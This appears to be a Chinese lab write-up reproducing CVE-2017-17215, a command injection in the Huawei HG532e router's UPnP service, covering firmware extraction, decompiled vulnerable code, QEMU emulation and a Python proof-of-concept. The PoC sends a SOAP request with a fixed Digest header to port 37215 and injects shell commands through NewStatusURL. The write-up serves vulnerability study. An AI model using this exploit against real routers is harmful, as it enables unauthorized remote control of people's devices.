查看原文
其他

HG532e漏洞复现(cve-2017-17215)

夏天呀 看雪学苑 2022-07-01


本文为看雪论坛优秀文章
看雪论坛作者ID:夏天呀




前言


最近一直在复现关于路由器的漏洞,前两天复现了D-link的某款溢出漏洞,感觉做起来有很多坑,一般都是搭建环境造成的坑,在这以华为HG532e的远程命令执行的漏洞做出详细的步骤,供大家参考。

我是个IOT新手,发文章一来是想把自己的实验记录一下,二来能够分享和交流一下技术和经验。
 
个人感觉做路由器相关的漏洞复现,无非就是以下几步:固件获取-提取固件-固件漏洞分析-环境搭建-漏洞利用-总结,以这个步骤来讲解此次文章。



漏洞详情


漏洞和在该嵌入式系统/bin/mic下的37215端口有关系,该文件通过37215端口启动upnp协议(通用即插即用),之后调用了system()函数。因此可以向目标路由器通过此端口发送POST数据借此调用到system()函数,导致攻击者可以通过此数据包远程命令注入且执行,进而控制路由器。
 
cat 查看一下mic:




固件获取


在这里感谢头顶flag师傅的文章和固件,方便寻找了。
 
头顶flag师傅固件地址:https://gitee.com/p1piyang/backward-analysis/tree/master/
 
当然,一般路由器官网上都会有固件包或者去网上寻找都可以的。
 
不一样的是,我在环境搭建上,没去利用qemu,而是使用了像attify虚拟机的FAT工具去运行仿真路由器环境。
 
但是使用attify的fat运行完虚拟环境以后,没法运行upnp和mis这俩程序服务,也就是说开启不了37215端口,不过这种搭建路由器的方式可以借鉴。
 
最终还是使用的qemu的系统模式去模拟路由器环境。



提取固件


使用Binwalk提取固件嵌入式系统。不管你用win,还是ubuntu或者Kali,无非只是为了使用其内的binwalk工具而已,能解出系统才是我们的最终目的。所以不要忘记了初心,用啥系统只要有binwalk。
 
1、Kali下使用binwalk,我的上篇文章已经解释了其内binwalk解包为空的方法。
2、Ubuntu下使用binwalk,搜索安装完整版binwalk即可。
 
3、Attify提取固件,Attify是一款物联网渗透测试专用虚拟机,和Kali类似,有没有后门啥的我不知道,反正我觉得好用哈哈哈。有知情人士可以交流一波。
 
本次实验工具使用的是Attify,比较好用里面binwalk和fat工具都很全。
 
binwalk -Me 提取固件:
 
得到嵌入式系统:




固件漏洞分析


由漏洞POC可以得知,远程注入点在<NewStatusURL>内,IDA pro或Ghidra打开squashfs-root/bin/upnp,查找NewStatusURL。
 
由于IDA pro反汇编出来不是很清晰,有些符号表和函数是没有的,所以这里使用Ghidra来看伪代码更加清晰。
 
IDA查找字符串:
Ghidra查找字符串: 
 
在Ghidar右键查找<NewStatusURL>处被哪里调用了。
 
得到关键反汇编代码:
int FUN_0040749c(int param_1){ int iVar1; int local_418; int local_414; char acStack1040 [1028] iVar1 = ATP_XML_GetChildNodeByName(*(undefined4 *)(param_1 + 0x2c),"NewDownloadURL",0,&local_418); if (((iVar1 == 0) && (local_418 != 0)) && (iVar1 = ATP_XML_GetChildNodeByName (*(undefined4 *)(param_1 + 0x2c),"NewStatusURL",0,&local_414), iVar1 == 0)) { if (local_414 != 0) { snprintf(acStack1040,0x400,"upg -g -U %s -t \'1 Firmware Upgrade Image\' -c upnp -r %s -d -b", local_418,local_414); system(acStack1040); } } return iVar1;}

由伪代码可知:
 
&local_418和&local_414都是由ATP_XML_GetChildNodeByName()函数从xml获取节点。
 
并且未经任何检查就交由snprintf()函数与‘upg -g -U %s -t ‘1 Firmware Upgrade Image’ -c upnp -r %s -d’拼接复制到 'acStack1040'。
 
最终交由system()函数进行执行。
 
由上可知,我们的注入点就应该在snprintf()函数当中,在拼接前的单引号就把它给闭合了。再写入system()函数支持的命令进行注入,这东西就像那个sql注入20关似的。
 
还有看了许多文章,说的应该是两处注入点,一个NewDownloadURL,一个NewStatusURL,我想了一下,这个无非就是拼接完了(;ls;;pwd;)再拼接一个命令让system执行而已。
 
我的汇编语言并不好,写文章做复现也只是为了学习,也借鉴了很多师傅的文章,这就不一一列举了,如有不对请指出,谢谢各位。



环境搭建


这里我没使用qemu的system模式去搭建路由器环境,因为会出现蛮多bug的,所以我先放弃了这种方法,使用的FAT工具搭建虚拟环境。不过有一说一哈qemu的User模式还是很好用的,你做远程调试什么的还是很有用处的!
 
进入Attify虚拟机的/home/oit/tools/firmadyne,使用FAT工具去搭建路由器虚拟环境。


一张图,写明白这个FAT工具是咋运行的,到时候就这么搞就行。这个不比qemu的系统模式去搭建方便的多哈哈哈哈。不过Attify可能有后门再来就是FAT工具现在好像是不更新了。我用3.0的FAT还不如初版的好用。

三次数据库密码打完以后结果图。

打开浏览器输入IP进行测试。
 
web端登录账号密码:admin,@Hua1234。
 
如上图所示,我们的路由器环境搭建完成。但是运行完以后我愣住了,我本来的想法是运行好了以后直接使用poc去注入命令开启目标路由器的telnetd服务,但是谁能想到此漏洞那个upnp服务没起来,nmap扫描不到这个37215端口,我也登录不上嵌入式系统,没法继续利用poc。


使用FAT工具搭建环境当个列子吧。


最后还是使用的qemu搭建:


下载qemu:


安装依赖文件:
apt-get install libglib2.0 libglib2.0-dev autoconf automake libtool uml-utilities bridge-utils

下载模拟系统镜像和大端机:
https://people.debian.org/~aurel32/qemu/mips/
创建网桥,添加IP:
brctl addbr Virbr0ifconfig Virbr0 192.168.147.100/24 up

创建tap接口,添加到Virbr0内:
tunctl -t tap0ifconfig tap0 192.168.147.101/24 upbrctl addif Virbr0 tap0

在系统内再开启一个bedain系统:
qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic

启动完成后,输入root root进入debain系统,添加IP尝试ping外界:
ifconfig eth0 192.168.147.102/24 up

 
将提取出来的嵌入式系统squashfs-root传到虚拟机内:
scp -r squashfs-root root@192.168.147.102:/


虚拟机内挂载dev和proc:
mount -o bind /dev /squashfs-root/devmount -t proc /proc /squashfs-root/proc
在根目录下启动shell:
再开一个终端使用ssh连接该虚拟机,用来开启upnp和mic:
ssh root@192.168.147.102chroot squashfs-root /bin/sh./bin/upnp./bin/mic

这时候ssh连接的终端已经不能使用了因为IP发生了变化,需要用刚开始qemu连接的终端更改一下路由器IP,方便测试:
ifconfig eth0 192.168.147.102/24 upifconfig br0 192.168.147.104/24 up

使用浏览器进行测试:




漏洞利用


我们要利用攻击脚本远程使路由器远程调用system(),远程执行命令即可。
poc:
import requests headers = { "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"} data = '''<?xml version="1.0" ?> <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"> <NewStatusURL>;执行的命令;</NewStatusURL> <NewDownloadURL>HUAWEIUPNP</NewDownloadURL> </u:Upgrade> </s:Body></s:Envelope>'''requests.post('目标路由器IP:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)

使用poc在文件系统根目录下创建hack文件夹:





小结


如果自己的实验没有成功,可以查看一下自己的路由器虚拟机有没有开启37215端口,不启动upnp和mic是无法运行这个端口的。
但是做出来结果并不是复现的目的,目的是在复现的过程种明白这种类型漏洞的形成原理,并且我感觉在做这些复现的时候工具什么的也是个学习的过程,我觉得还是很有收获的。
 
参考
CSDN王兰富贵险中求师傅的attify1.3
https://pan.baidu.com/s/1Vracsnlt5uNbdmfYK4dp8Q 密码:tvoh
 
CSDN攻城狮师傅的attify3.0
https://pan.baidu.com/s/1-UQOBax1-t8EFVrzGvEhVQ 提取码:zshs
 
头顶flag师傅:https://bbs.pediy.com/thread-269188.htm




看雪ID:夏天呀

https://bbs.pediy.com/user-home-944590.htm

*本文由看雪论坛 夏天呀 原创,转载请注明来自看雪社区



# 往期推荐

1.逆向某平台分析过程指导

2.基于LSTM的二进制代码相似性检测

3.The House of Mind

4.CVE-2012-1889 暴雷漏洞分析与利用小记

5.人工智能竞赛-目标识别指导

6.Android加壳脱壳学习—动态加载和类加载机制详解






球分享

球点赞

球在看



点击“阅读原文”,了解更多!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存